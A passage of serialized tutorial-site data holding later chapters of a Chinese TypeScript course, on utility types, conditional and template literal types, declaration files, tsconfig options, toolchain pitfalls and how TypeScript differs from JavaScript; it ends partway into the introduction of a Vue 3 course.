取出「T 里键 K 对应的值类型」，和 keyof 是天造地设的一对： type UserAge = User['age']       \u002F\u002F number\ntype First = [string, number][0] \u002F\u002F string（元组按位置取） 它把「属性名」升级成「类型层面的可计算量」：配合泛型 T[K] 就是上面 get 函数精确返回类型的秘密。工具类型 Pick\u002FRecord\u002FReturnType 全靠这套索引访问搭起来。",{"id":133663,"title":104351,"titles":133664,"content":133665,"level":357},"\u002Ftutorials\u002Fts#映射类型入门用键的联合造新类型",[96422,108325],"映射类型是「遍历一个键的联合，逐个生成属性」的语法，一句话就能看出威力： type Mutable\u003CT> = {\n  -readonly [K in keyof T]: T[K]     \u002F\u002F 把每个属性去掉 readonly\n}\ntype Readonly2\u003CT> = {\n  readonly [K in keyof T]: T[K]      \u002F\u002F 给每个属性加 readonly\n} [K in keyof T] 读作「对 T 的每个键 K」，后面是这些键在新类型里的形状。加上修饰符开关 readonly\u002F?（还能用 +\u002F- 增删），你能「把一个类型的所有属性整体变换一遍」。下一章那些内置工具类型，本质全是这里这种映射类型手写的结果——把这里看明白，第十三章就不是背 API 而是懂原理。",{"id":133667,"title":104485,"titles":133668,"content":133669,"level":341},"\u002Ftutorials\u002Fts#十三工具类型逐个拆它们其实都是映射类型",[96422],"TS 内置了一堆「拿来就用的类型变换」，统称工具类型。它们让日常业务不用每次手写映射。这一章逐个讲用途，并对每个现场用映射类型手写一遍，让你看清「它不过是前面那些零件的组装」。",{"id":133671,"title":108337,"titles":133672,"content":133673,"level":357},"\u002Ftutorials\u002Fts#partialt-requiredt-readonlyt",[96422,104485],"给所有属性加 ? \u002F 去掉 ? \u002F 加 readonly，用于「更新用的部分字段」「把可选补齐」等： interface User { id: number; name: string }\ntype Upd = Partial\u003CUser>          \u002F\u002F { id?: number; name?: string }\nfunction updateUser(u: User, patch: Partial\u003CUser>): User { return { ...u, ...patch } }\n\ntype P = Partial\u003C{ a: number; b: string }>   \u002F\u002F { a?: number; b?: string }\n\n\u002F\u002F 手写一遍：\ntype MyPartial\u003CT> = { [K in keyof T]?: T[K] }          \u002F\u002F [K in keyof T]? 就是给每键加 ?\ntype MyRequired\u003CT> = { [K in keyof T]-?: T[K] }        \u002F\u002F -? 去掉可选\ntype MyReadonly\u003CT> = { readonly [K in keyof T]: T[K] } \u002F\u002F 加 readonly -?、-readonly 里的减号是「移除该修饰符」，与不写符号（默认加）相对。",{"id":133675,"title":108339,"titles":133676,"content":133677,"level":357},"\u002Ftutorials\u002Fts#pickt-k-omitt-k",[96422,104485],"Pick 从 T 里挑几个键，Omit 从 T 里去掉几个键： interface Full { id: number; name: string; pwd: string }\ntype Public = Pick\u003CFull, 'id' | 'name'>     \u002F\u002F { id: number; name: string }\ntype NoId = Omit\u003CFull, 'id'>                \u002F\u002F { name: string; pwd: string }\n\ntype MyPick\u003CT, K extends keyof T> = { [P in K]: T[P] }\n\u002F\u002F Omit 依赖第十四章的条件类型 Exclude，这里先给成品：\ntype MyOmit\u003CT, K extends keyof any> = Pick\u003CT, Exclude\u003Ckeyof T, K>> Pick 的映射源是 K（要保留的键），每键的值取自 T[P]——一句话讲完它的原理。Omit 是「先算出去掉 K 后剩下的键，再 Pick」。",{"id":133679,"title":108341,"titles":133680,"content":133681,"level":357},"\u002Ftutorials\u002Fts#excludet-u-extractt-u-nonnullablet",[96422,104485],"作用在联合类型上的三个筛选器： type A = Exclude\u003C'a' | 'b' | 'c', 'a'>      \u002F\u002F 'b' | 'c'（从 T 里剔除 assignable to U 的）\ntype B = Extract\u003C'a' | 'b' | number, string> \u002F\u002F 'a' | 'b'（只留 assignable to string 的）\ntype C = NonNullable\u003Cstring | null | undefined> \u002F\u002F string（去掉 null\u002Fundefined）\n\ntype MyExclude\u003CT, U> = T extends U ? never : T    \u002F\u002F 条件类型：命中就丢\ntype MyExtract\u003CT, U> = T extends U ? T : never\ntype MyNonNullable\u003CT> = T extends null | undefined ? never : T extends 用在裸类型参数上会逐个分发到联合的每个成员（第十四章细讲分发条件类型）——所以 Exclude 能对联合每一支分别判断。这三个是组合其它工具类型的常用零件。",{"id":133683,"title":108343,"titles":133684,"content":133685,"level":357},"\u002Ftutorials\u002Fts#returntype-parameters-constructorparameters",[96422,104485],"从一个函数类型里「抠」出返回类型 \u002F 参数元组： function make(a: number, b: string): { id: number } { return { id: a } }\ntype R = ReturnType\u003Ctypeof make>       \u002F\u002F { id: number }\ntype P = Parameters\u003Ctypeof make>       \u002F\u002F [number, string]\n\ntype MyReturnType\u003CT extends (...a: any) => any> = T extends (...a: any) => infer R ? R : never\ntype MyParameters\u003CT extends (...a: any) => any> = T extends (...a: infer P) => any ? P : never ReturnType 的写法先用了 infer（第十四章）——「在匹配函数形状时，把返回位置的那段抽出来叫 R」。这里记住结论：这几个工具是「把函数类型当数据来拆零件」。",{"id":133687,"title":108345,"titles":133688,"content":133689,"level":357},"\u002Ftutorials\u002Fts#awaitedt扒开-promise-的外壳",[96422,104485],"Awaited\u003CT> 递归地剥掉 Promise\u002Fthenable 外层，拿到最终的值类型，专门配合异步： type V = Awaited\u003CPromise\u003CPromise\u003Cstring>>>   \u002F\u002F string（反复剥到底）\n\ntype MyAwaited\u003CT> =\n  T extends PromiseLike\u003Cinfer U>\n    ? T extends PromiseLike\u003CT> ? never : MyAwaited\u003CU>   \u002F\u002F 递归剥\n    : T 注意它处理的是「类型」不是「值」：给一个 Promise\u003Cnumber> 的类型，得到 number 类型。取实际异步函数返回值的类型时非常顺手。",{"id":133691,"title":108347,"titles":133692,"content":133693,"level":357},"\u002Ftutorials\u002Fts#recordk-v键类型到值类型的字典",[96422,104485],"Record\u003CK, V> = 「K 里每个键都映射到 V」，比手写索引签名更能表达「键是有限的几个」： type Pages = Record\u003C'home' | 'about', string>   \u002F\u002F { home: string; about: string }\ntype Dict = Record\u003Cstring, number>              \u002F\u002F 等价于 { [k: string]: number }\n\ntype MyRecord\u003CK extends keyof any, V> = { [P in K]: V } Record 的映射源是 K（键联合），每个键的值统一是 V。它常用于给枚举\u002F联合键做完整的映射表，编译器会检查你有没有把每个键都填上。",{"id":133695,"title":105786,"titles":133696,"content":133697,"level":357},"\u002Ftutorials\u002Fts#选用的分寸",[96422,104485],"工具类型好用，但别堆砌。链上七八层 Omit\u003CPick\u003CPartial\u003C...>>> 会让报错信息变成天书、也让同事读不动。先写朴素接口，需要变换时再上工具类型；能用一句话讲清它做了什么，才值得这么写。",{"id":133699,"title":108350,"titles":133700,"content":133701,"level":341},"\u002Ftutorials\u002Fts#十四条件类型与-infer模板字面量类型类型体操入门",[96422],"这一章进入 TS 的「类型也能做运算」的深水区。日常业务里，你大概率不需要写这么深——绝大多数页面代码停在第十三章就绰绰有余。但读懂库作者写的类型、以及享受工具类型带来的推断，需要这里的知识。只讲够用的几个概念，配两三个例子，不追求把体操做到极限。",{"id":133703,"title":105814,"titles":133704,"content":133705,"level":357},"\u002Ftutorials\u002Fts#条件类型类型层面的三元",[96422,108350],"T extends U ? X : Y 是「如果 T 能赋给 U 就取 X 否则取 Y」，一个写在类型位置的三元表达式： type IsNumber\u003CT> = T extends number ? true : false\ntype A = IsNumber\u003C42>      \u002F\u002F true\ntype B = IsNumber\u003C'x'>     \u002F\u002F false 关键特性是分发（distributive）：当 T 是裸类型参数且是联合，条件类型会对联合的每个成员分别计算再并起来。这就是 Exclude 能「逐个筛掉」的原理：('a'|'b'|'c') extends 'a' ? never : T 会拆成对 'a'、'b'、'c' 各自判断，命中 'a' 变 never 被丢，剩下的并回联合。想关掉分发，把 T 包进元组 [T] extends [U] 即可。",{"id":133707,"title":108354,"titles":133708,"content":133709,"level":357},"\u002Ftutorials\u002Fts#infer在匹配中捕获一个类型",[96422,108350],"infer R 写在条件类型的「被匹配的形状」里，意思是「这一段随它是什么，抽出来命名叫 R」。前面 ReturnType、Awaited 都靠它： type First\u003CT> = T extends [infer F, ...any[]] ? F : never\ntype F = First\u003C[string, number]>     \u002F\u002F string\n\ntype Flatten\u003CT> = T extends Array\u003Cinfer U> ? U : T\ntype E = Flatten\u003Cnumber[]>           \u002F\u002F number infer 让你从「一个复杂的类型」里按形状「解构」出想要的局部，是类型体操里最常用的捕获手段。",{"id":133711,"title":106088,"titles":133712,"content":133713,"level":357},"\u002Ftutorials\u002Fts#模板字面量类型在类型层面拼字符串",[96422,108350],"TS 4.1 起，字符串字面量类型支持模板拼接，用 `${A}` 形式： type World = 'world'\ntype Greeting = `hello ${World}`     \u002F\u002F 'hello world'\n\ntype EventName\u003CT extends string> = `on${Capitalize\u003CT>}`\ntype Click = EventName\u003C'click'>      \u002F\u002F 'onClick'\n\ntype Style = `${number}px` | `${number}%`\nfunction setSize(s: Style) {}\nsetSize('10px')     \u002F\u002F ✓\nsetSize('big')      \u002F\u002F ✗ 不符合模板 模板字面量类型最实用的一面：给「有规律的事件名、路由、CSS 单位」这类字符串建立模式约束，让拼错在编译期就报错。用 Capitalize\u002FLowercase\u002FUppercase 等字符串工具类型（TS 内置）还能做大小写变换。",{"id":133715,"title":106279,"titles":133716,"content":133717,"level":357},"\u002Ftutorials\u002Fts#分寸再强调一遍",[96422,108350],"上面这些组合起来能做「类型层面的编程」，理论上能写很复杂的推断。但在业务代码里写它们要极其克制：库的 .d.ts、通用的类型工具值得精雕；一个具体页面的 props 用不着条件类型套娃。读懂 > 会写 > 会炫。本章示例点到为止，能认出「哦这是在用 infer 抽返回类型」就够了。",{"id":133719,"title":108358,"titles":133720,"content":133721,"level":341},"\u002Ftutorials\u002Fts#十五模块与声明文件esmimport-typedts-与给无类型库写声明",[96422],"JS 教程第二十章讲过 ESM 的 import\u002Fexport 语法。这一章讲 TS 在模块之上加的东西：import type、被擦除后的类型去哪了、.d.ts 声明文件是什么、怎么用 declare 给一个没有类型的 JS 库「补上」类型，以及遇到「找不到类型声明」时的三条出路。",{"id":133723,"title":108361,"titles":133724,"content":133725,"level":357},"\u002Ftutorials\u002Fts#esm-与-import-type",[96422,108358],"TS 里导入分两种：导值（运行时真要有这个东西）和导类型（编译期用完就擦除，运行时根本不需要它存在）。把「只用来做类型」的导入写成 import type，是明确的信号也是优化： import type { User } from '.\u002Ftypes'     \u002F\u002F 纯类型，擦除后这条 import 整个消失\nimport { getUser } from '.\u002Fapi'          \u002F\u002F 值，运行时真的要用 为什么区分？因为擦除。User 是 type，运行时不存在，若写成普通 import { User } 再只在类型位置用它，打包器可能把整模块拽进产物却找不到 User（isolatedModules 下会直接报错，见第十七章）。import type 让「这是类型、别当值处理」一目了然，也让单文件转译（各文件独立擦除）能安全进行。",{"id":133727,"title":108363,"titles":133728,"content":133729,"level":357},"\u002Ftutorials\u002Fts#dts-是什么",[96422,108358],".d.ts 是只有类型、没有实现的声明文件。它是库对外发布的「类型说明书」：编译器读它知道 API 长什么样，运行时它一行代码都不产出。你自己的 .ts 编译时会附带产出 .d.ts（declaration: true），第三方库的类型则来自 npm 上的包或 @types\u002F*。 \u002F\u002F some-lib\u002Findex.d.ts —— 只声明，不实现\nexport interface Options { timeout?: number }\nexport function request(url: string, opts?: Options): Promise\u003CResponse>",{"id":133731,"title":108365,"titles":133732,"content":133733,"level":357},"\u002Ftutorials\u002Fts#declare-与-declare-module",[96422,108358],"declare 关键字用于「告诉编译器：外面有这个东西，你别生成也别检查，信我」。给一个全局脚本变量、一段内联的 JS 库打类型，就靠它： \u002F\u002F 描述一个挂在 window 上的全局（例如某统计脚本）\ndeclare const _hmt: string[][]\n\n\u002F\u002F 给一个「其实有、但没类型」的模块声明形状\ndeclare module 'legacy-lib' {\n  export function doThing(x: number): void\n} declare module '名字' 是给「JS 库但没带 .d.ts」补类型的标准姿势——你在项目里建一个 .d.ts，用 declare module 声明这个包对外暴露的形状，之后 import ... from 'legacy-lib' 就有类型了。",{"id":133735,"title":108367,"titles":133736,"content":133737,"level":357},"\u002Ftutorials\u002Fts#types-与包里的-types-字段",[96422,108358],"一个包怎么被找到类型？两条路： 包自己内置：package.json 里 types \u002F typings 字段指向它的 .d.ts（现代 TS 库普遍这么发布）。 社区补：DefinitelyTyped 维护、发布成 @types\u002F包名（如 @types\u002Flodash、@types\u002Freact），npm i -D @types\u002Fxxx 即可。 编译器解析 import 'lodash' 时，先看包自身 types 字段，没有再找 node_modules\u002F@types\u002Flodash。",{"id":133739,"title":106652,"titles":133740,"content":133741,"level":357},"\u002Ftutorials\u002Fts#找不到类型声明的三种解法",[96422,108358],"import 'xxx' 报「找不到模块声明文件」（TS7016 之类）时，别急着 \u002F\u002F @ts-ignore，三条正规出路： 装社区类型：npm i -D @types\u002Fxxx——最常见，多数流行库都有。 自己写 declare module：在项目的 types\u002Fxxx.d.ts 里声明它的形状，哪怕先只写你用到的几个函数。 临时兜底：declare module 'xxx'（不写内容）把它当 any 放行，或开 allowJs 直接吃它的 JS——但这是把类型关掉，属于过渡不是终点。 顺序优先选 1，其次 2；3 只在时间紧迫时短暂使用，并留待补齐。",{"id":133743,"title":106707,"titles":133744,"content":133745,"level":341},"\u002Ftutorials\u002Fts#十六tsconfig-全解编译选项的真实含义",[96422],"tsconfig.json 是 TS 项目的控制台。这一章不逐条背，而是把最常配错、影响最大的几组讲透：target\u002Flib\u002Fmodule\u002FmoduleResolution 的真实差别、strict 家族各自开关、include\u002Fexclude\u002Fpaths\u002FnoEmit，以及「noEmit + 打包器」为什么才是现代主流组合。",{"id":133747,"title":108372,"titles":133748,"content":133749,"level":357},"\u002Ftutorials\u002Fts#target-lib转译产物-vs-允许用的-api",[96422,106707],"这两个最容易混，分清就赢了一半： target：决定语法降级到哪一档 ES 版本。target: \"es2020\" 意味着 TS 会把更新的语法（比如可选链、逻辑赋值）降级成 ES2020 能跑的 JS。它管的是「语法」。 lib：决定编译器认为环境里有哪些内置 API。用 Promise、Array.prototype.includes、fetch、Map 这些，都要 lib 里有对应声明才不报「找不到」。 关键陷阱：target 不会帮你 polyfill 任何 API。你 target: \"es5\" 但代码里用了 Promise，编译不报错（因为 lib 默认按 target 推），产物里也不会凭空出现 Promise——运行时 Promise is not defined 照崩。lib 是「我信任运行环境有这些东西」的声明，不是「请帮我把缺的补上」。 {\n  \"compilerOptions\": {\n    \"target\": \"ES2020\",          \u002F\u002F 语法降到 ES2020\n    \"lib\": [\"ES2020\", \"DOM\", \"DOM.Iterable\"]  \u002F\u002F 允许用这些环境 API\n  }\n}",{"id":133751,"title":108374,"titles":133752,"content":133753,"level":357},"\u002Ftutorials\u002Fts#module-moduleresolution产物用什么模块格式-vs-怎么找模块",[96422,106707],"又是一对常混项： module：TS 输出的 JS 用哪种模块语法——ESNext（import\u002Fexport 原样保留）、CommonJS（转成 require）等。现代项目基本 ESNext，交给打包器处理。 moduleResolution：import '.\u002Fx' 时 TS 用什么规则去找 x 的类型文件——bundler（打包器友好）、node16\u002Fnodenext（按 Node 的 ESM\u002FCJS 规则）、node（老经典 Node）。 module 与 moduleResolution 要配套（比如 nodenext 解析要求 module: nodenext），否则会出现「运行时能 import、类型却找不到」的错位。纯打包器项目用 bundler，写 Node 服务端用 nodenext，是当前两条主流路线。",{"id":133755,"title":108376,"titles":133756,"content":133757,"level":357},"\u002Ftutorials\u002Fts#strict-家族一次打开一串安全闸",[96422,106707],"\"strict\": true 不是一个开关，而是一揽子——它同时打开： 开关 管什么 strictNullChecks null\u002Fundefined 从各类型独立出来（第三章） noImplicitAny 推断不出来的地方不许悄悄变 any，要你显式写 strictFunctionTypes 函数参数按逆变检查，函数类型更严格 strictBindCallApply bind\u002Fcall\u002Fapply 的参数类型要正确 strictPropertyInitialization 类的非可选属性必须在构造函数里初始化 noImplicitThis 不许出现「this 是 any」的函数 useUnknownInCatchVariables catch 里的错误默认是 unknown alwaysStrict 每份产物顶部加 \"use strict\" 新项目必开 strict。老项目从 false 往 true 迁会一夜冒出成百上千条错，常见过渡法是先把 noImplicitAny、strictNullChecks 逐个单独打开、逐步修，最后收敛到 strict: true。",{"id":133759,"title":108378,"titles":133760,"content":133761,"level":357},"\u002Ftutorials\u002Fts#include-exclude-paths",[96422,106707],"include\u002Fexclude：告诉编译器「哪些文件参与类型检查」。默认包含项目下所有 .ts；exclude 里默认已有 node_modules、outDir。范围外的文件即使被 import 也照样解析，但不会被当成「入口」单独检查。 paths：模块路径别名，把 @\u002Futils\u002Ffoo 映射到 src\u002Futils\u002Ffoo。注意 paths 只影响编译器的类型解析，不影响运行时——运行时还得靠打包器（Vite 的 resolve.alias）或 Node 的 exports 真正解析。这是「TS 里能用别名、上线就找不到模块」的经典原因：两边都要配。",{"id":133763,"title":108380,"titles":133764,"content":133765,"level":357},"\u002Ftutorials\u002Fts#noemit-与增量构建项目引用",[96422,106707],"noEmit: true：只做类型检查、不产出 JS。现代项目里这几乎是标配——见下一节。 incremental \u002F tsBuildInfoFile：把上次检查的缓存写盘，第二次只重查变动文件，加速。 项目引用（composite + references）：把大型仓库拆成多个 tsconfig，各自独立、按依赖增量重建，monorepo 常用。",{"id":133767,"title":108382,"titles":133768,"content":133769,"level":357},"\u002Ftutorials\u002Fts#为什么-noemit-打包器才是常见组合",[96422,106707],"核心答案回到第一章：类型检查和转译是两件事。现代工具链把这两件事分工给不同工具： 打包器（Vite\u002Fesbuild\u002FSWC\u002Fwebpack）负责转译：快，专门把 TS 擦成 JS、把模块打包，但它不做完整的跨文件类型检查。 tsc --noEmit 或 IDE \u002F ESLint 负责类型检查：慢但准确，专挑类型错误，不负责产生产物。 所以典型配置是 noEmit: true 让 tsc 只当「类型守门员」，转译交给打包器。这也解释了为什么「类型明明报错、vite dev 还照常跑」——因为跑起来的是打包器那份不检查类型的转译。真正把关靠 CI 里那条 tsc --noEmit。第十七章会把这个分工讲得更完整。",{"id":133771,"title":107255,"titles":133772,"content":133773,"level":341},"\u002Ftutorials\u002Fts#十七工程实践与常见坑谁转译谁检查以及那份坑清单",[96422],"这一章把前面所有原理收到「工程现场」。先讲清楚 TS 在真实项目里和各种工具怎么分工配合，再列出那些「知道就躲得过、不知道就踩个够」的坑。它们大多源自第一章的两个事实——类型会被擦除、类型检查与转译互不干涉。",{"id":133775,"title":107272,"titles":133776,"content":133777,"level":357},"\u002Ftutorials\u002Fts#谁做转译谁做检查vite-vue-react-node-的分工",[96422,107255],"不同栈里，「把 TS 变成能跑的 JS」和「检查 TS 类型对不对」这两件事分别由谁干： 场景 转译（擦类型、产出） 类型检查 Vite（纯 TS） esbuild（极快，不检查类型） 需另跑 tsc --noEmit，或靠 IDE Vue + vue-tsc Vite\u002Fesbuild vue-tsc（模板里的类型也要查） React + Vite esbuild \u002F SWC tsc --noEmit Node（ts-node \u002F tsx） ts-node\u002Ftsx 即时擦除 看配置，默认可能不查 Node 原生 type stripping V8 直接抹类型跑 不做检查，纯转译 tsc 直接构建 tsc 转译 + 检查一起做 就是它 结论只有一句：跑得快的工具（esbuild\u002FSWC\u002FV8）通常只转译不检查，所以「本地能跑」不等于「类型没问题」——完整检查必须由 tsc --noEmit（CI 里）或 IDE 提供。这也是 Vue 项目要专门用 vue-tsc 的原因：模板里的表达式普通 tsc 看不到。",{"id":133779,"title":108387,"titles":133780,"content":133781,"level":357},"\u002Ftutorials\u002Fts#isolatedmodules-为什么需要",[96422,107255],"打包器是一个文件一个文件独立转译的（它拿不到全局类型图），因此某些「需要跨文件才知道」的写法它处理不了。isolatedModules: true 让 tsc 提前拒掉这些写法，保证你的代码「每个文件都能被单独安全转译」。典型要求： 每个文件都得是真模块（有 import\u002Fexport），别写会被当成全局脚本的文件。 重导出类型要用 export type { T } 而非 export { T }。 别用 const enum 跨文件、别用只有 namespace 里的运行时值等。 现代框架脚手架几乎都默认开它——它不是让你更严，而是让「tsc 检查通过」和「打包器转译行为」对齐，避免出现「tsc 说没问题、esbuild 转出来不对」的裂缝。",{"id":133783,"title":107445,"titles":133784,"content":133785,"level":357},"\u002Ftutorials\u002Fts#eslint-与类型规则",[96422,107255],"ESLint 负责 lint（代码风格、可疑写法、一致性），@typescript-eslint 让它认识 TS 语法。其中一部分规则需要类型信息（如「禁止在非 thenable 上 await」「no-misused-promises」），要在 ESLint 配置里提供 parserOptions.project 指向 tsconfig。分工：tsc --noEmit 管「类型对不对」，ESLint 管「写法好不好」，两者互补，不重复。常见踩坑是类型感知规则让 lint 变慢——把重规则集中到 CI，本地跑轻量集是通行做法。",{"id":133787,"title":108390,"titles":133788,"content":133789,"level":357},"\u002Ftutorials\u002Fts#坑一any-顺着返回值泄漏",[96422,107255],"any 不只影响你标它的那一处，它会沿着数据流传染：一个返回 any 的调用，你把结果再传给别的运算，那条链上的类型全塌成 any。JSON.parse、部分老库、(e: any) 事件都是源头。对策：在函数边界加返回注解（const u: User = JSON.parse(s) as User 至少标明你要什么），开 noImplicitAny 拦住隐式漏点，遇到 any 尽量转成 unknown 再收窄（第三章）。",{"id":133791,"title":107511,"titles":133792,"content":133793,"level":357},"\u002Ftutorials\u002Fts#坑二结构化类型导致的假兼容",[96422,107255],"第四章讲过 TS 看形状不看名字，副作用就是两个语义完全不同、形状恰好一致的类型可以互相赋值，编译器一声不吭： type UserID = string\ntype OrderID = string\nfunction get(u: UserID) {}\nget(orderId)   \u002F\u002F ✓ 编译通过！但语义上是把订单号当用户号传了 两者都是 string，TS 不拦。想制造「名义类型」的区分感，给类型加一个独有的品牌字段（branded type）：type UserID = string & { readonly __brand: 'User' }。否则别指望 TS 帮你区分「同为 string 的不同含义」。",{"id":133795,"title":108393,"titles":133796,"content":133797,"level":357},"\u002Ftutorials\u002Fts#坑三枚举的运行时成本与-const-enum",[96422,107255],"第三章说过 enum 会真实生成对象。普通 enum 的问题是有运行时体积、跨文件在 isolatedModules 下受限；const enum 想省体积（编译期直接把 Direction.Up 内联成 0，不生成对象），但在打包\u002F分包场景 const enum 坑更多：内联要求编译器看到定义，esbuild\u002Fswc 各自独立转译时可能把 const enum 当普通 enum 处理，行为不一致。这也是大量团队弃用 enum、改用「as const 对象 + 联合字面量」的原因——零运行时、无内联歧义、还能窄化（第九章）。",{"id":133799,"title":108395,"titles":133800,"content":133801,"level":357},"\u002Ftutorials\u002Fts#坑四import-type-与循环引用",[96422,107255],"类型之间会互相引用形成环（A 的类型用到 B，B 又用到 A）。纯类型循环对 tsc 无害（编译期解析、运行时无物），但一旦有人用值形式 import { SomeType } 引入了运行时 import，就可能造出真实的模块循环、触发初始化顺序 bug。用 import type（第十五章）把「只是类型」的依赖和「真要在运行时取值」的依赖分开，循环就只存在于编译期、不会带进运行时。",{"id":133803,"title":107649,"titles":133804,"content":133805,"level":357},"\u002Ftutorials\u002Fts#坑五过度断言",[96422,107255],"第八章那句「断言是写给编译器的情书」在此回收。满屏 as、!、as unknown as，等于亲手把类型系统关掉却以为还开着——编译器不再报错，但运行时报错照旧。能用收窄（is 谓词）就别用 as；能用 satisfies 就别用 as；! 只在确实无法表达的非空场景用。断言是最后手段不是默认工具。",{"id":133807,"title":108398,"titles":133808,"content":133809,"level":357},"\u002Ftutorials\u002Fts#坑六把-unknown-用-as-直接吃掉",[96422,107255],"面对 unknown（外部数据、catch 错误），正确姿势是收窄验证（typeof\u002Fin\u002F校验库）。最省事也最危险的做法是 const u = err as MyType 一步到「我以为的类型」——这等于绕过了 unknown 特意设置的那道「先验再用」的闸，把不安全又塞回了系统。unknown 是 any 的安全版（第三章），别用 as 把它退化回 any 的效果。",{"id":133811,"title":107725,"titles":133812,"content":133813,"level":341},"\u002Ftutorials\u002Fts#十八typescript-与-javascript-的区别",[96422],"全课收口，回答三个终极问题：「TS 是 JS 的超集」对不对、TS 会不会让程序变快、哪些 JS 代码原样搬进 TS 会报错。 先给一张维度对照大表，再逐条展开。",{"id":133815,"title":107740,"titles":133816,"content":133817,"level":357},"\u002Ftutorials\u002Fts#一张总表维度-javascript-typescript-一句话备注",[96422,107725],"维度 JavaScript TypeScript 一句话备注 类型系统 动态弱类型，运行时才定 静态强类型，编译期标注+推断 TS 的类型只在编译期存在 变量声明 let\u002Fconst\u002Fvar 同左，可加 : T 注解 注解是「可加」不是「必加」 编译与运行 引擎直接执行源码 需转译成 JS 再执行 运行时永远跑的是 JS 工具链 引擎\u002F浏览器即可 多一层 tsc\u002F打包器\u002F类型检查 见第十六、十七章分工 错误暴露时机 多在运行时 大量前移到编辑\u002F构建期 TS 的核心价值所在 重构安全性 靠人肉+全局搜 类型图兜底，改一处红一片 TS 最被低估的收益 文件后缀与模块 .js\u002F.mjs .ts\u002F.tsx\u002F.d.ts ESM 规则一致，多了类型文件 类与字段 标准 class、# 私有 加修饰符\u002F抽象\u002F参数属性 private 是编译期，# 是运行期 运行时能力 完整 JS 引擎能力 与 JS 完全相同，无增减 类型不带来任何新运行时能力 生态与学习成本 上手快、心智负担低 有学习曲线、类型体操的成本 换确定性要付出复杂度 可混合性 独立存在 可与 JS 共存、逐步迁移 .ts 能 import .js（配 allowJs） 渐进采纳 无此概念 可从「几乎不写类型」起步 checkJs 关闭时 TS 项目也能纯放 JS 下面逐条把关键的几行讲透。",{"id":133819,"title":107969,"titles":133820,"content":133821,"level":357},"\u002Ftutorials\u002Fts#ts-是不是-js-的超集对但只对了一半",[96422,107725],"严格地说，语法上 TS ⊇ JS：任何合法 JS 文件改名 .ts 都能被 TS 解析（JS 是 TS 的子集）。但「超集」这个词让人以为「TS = JS 的全部行为 + 额外的东西」，这有误导性：TS 不新增任何运行时行为，它新增的是编译期的一层检查。所以更准确的表述是：TS 是「JS + 一套会被擦除的静态类型语法 + 一个会在运行前挑毛病的检查器」。 还有一个反直觉的事实（也是第三个问题的答案）：并非所有 JS 都能原样塞进 TS 且不报错。因为 TS 默认开 strict、开 noImplicitAny，纯 JS 里那些「隐式 any、可能为 null 就直接用、参数没传全」的写法，在 TS 里会变成编译错误。也就是说：JS 是 TS 语法上的子集，但一段典型的裸 JS 放进严格配置的 TS 里常常通不过类型检查。",{"id":133823,"title":108007,"titles":133824,"content":133825,"level":357},"\u002Ftutorials\u002Fts#ts-会不会让程序跑得更快不会",[96422,107725],"程序实际执行的是擦除类型后的 JS，跟直接写 JS 的最终产物基本等价，运行时性能没有提升。恰恰相反，多出来的 tsc\u002F类型检查是构建期的开销，让「改代码到能跑」这一环变慢（这也是把转译交给 esbuild、检查交给 tsc 的分工动机）。TS 换来的是「人的效率」——少 debug、少回归、重构敢下手——而不是「机器执行」的效率。谁指望加类型让接口变快，那是要失望的。",{"id":133827,"title":108028,"titles":133828,"content":133829,"level":357},"\u002Ftutorials\u002Fts#哪些-js-代码原样放进-ts-会报错",[96422,107725],"把这三类裸 JS 丢进 strict 的 TS，立刻红给你看，最能说明「类型检查改的是编译期，不是运行期」： \u002F\u002F ① 隐式 any：参数没类型，noImplicitAny 直接拦\nfunction add(a, b) { return a + b }        \u002F\u002F ✗ a、b 隐式 any\n\n\u002F\u002F ② 可能为 null 却不判断：strictNullChecks 拦\nfunction greet(u) { return u.name.toUpperCase() }  \u002F\u002F 若 u: { name?: string } 则 name 可能 undefined\n\n\u002F\u002F ③ 给 const 重新赋值 \u002F 用了未声明的变量——这些 JS 运行时也炸，但 TS 提前在编辑期就标红\nconst x = 1; x = 2                          \u002F\u002F ✗ 对 const 赋值\ny = 10                                       \u002F\u002F ✗ 找不到 y（除非声明或挂全局） 反过来，这些是「TS 有、JS 完全没有」的纯类型语法：: 类型、interface、type、\u003CT> 泛型、enum、as\u002Fsatisfies\u002F! 断言、declare。它们写出来 JS 根本不认，也正是转译时被擦掉的部分。",{"id":133831,"title":108178,"titles":133832,"content":133833,"level":357},"\u002Ftutorials\u002Fts#一句话收尾",[96422,107725],"TS 的全部故事，第一章就讲完了：它把「运行时的不确定」变成「编辑时的红波浪线」，代价是多一套工具链和一层要理解的类型规则。学 TS 不是学一门新语言，而是学如何把你的意图，用类型这套语言讲给编译器听——讲对了，它在运行前就替你把关；讲歪了（滥用 any\u002Fas），它就把闸放开、假装一切正常，把问题原样还给运行时。理解「类型擦除」和「检查与转译两件事」，你就拿到了后面所有细节的解释力。 html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}",{"id":36569,"title":17599,"titles":133835,"content":133836,"level":334},[],"零基础入门 Vue 3：模板语法、响应式、组件、插槽、生命周期、Pinia 与 Vue Router，19 章循序渐进，每章配可运行示例，末章汇总常见坑。 这门课的顺序是「先能跑，再讲透」：第一到第七章过完模板与响应式这些语法地基，第八到第十一章讲组件之间怎么配合，第十二到第十四章处理生命周期与逻辑复用，第十五、十六章把状态和路由接上，第十七章做一个完整的待办清单，最后两章回到工程化与坑的汇总。每一章结尾都有「⚠️ 本章的坑」和速查表，日后当参考书查就直接翻这两块。 关于版本：本教程基于 Vue 3.5（示例里的运行时是 3.5.43）。页面里的示例用的是「不带构建工具」的引入方式（一个 \u003Cscript> 标签 + 